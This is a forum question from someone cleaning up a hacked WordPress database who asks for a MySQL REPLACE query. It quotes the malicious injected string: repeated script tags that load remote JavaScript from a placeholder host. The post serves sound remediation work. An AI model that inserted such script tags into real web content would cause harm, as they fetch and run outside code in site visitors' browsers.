MYSQL: Create SQL query to search for string and replace

Question

I need to delete a malicious string from 2176 fields following a url redirect hack. I’m pretty vanilla at SQL so some help is much appreciated. I have MYSQL ClI or PHPmyAdmin available to me.

The details are

  • Database is: WordPress
  • Table is: wp_posts
  • Column is: post_content
  • string is: <script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script>

What would the correct REPLACE query be to find this string and repalce it with blank. I cannot just empty the field because sometimes there is a value in the field that is legitmate.

0
Jack Borg-Cardona 3 months 2020-12-29T12:10:26-05:00 0 Answers 2 views 0

Leave an answer

Browse
Browse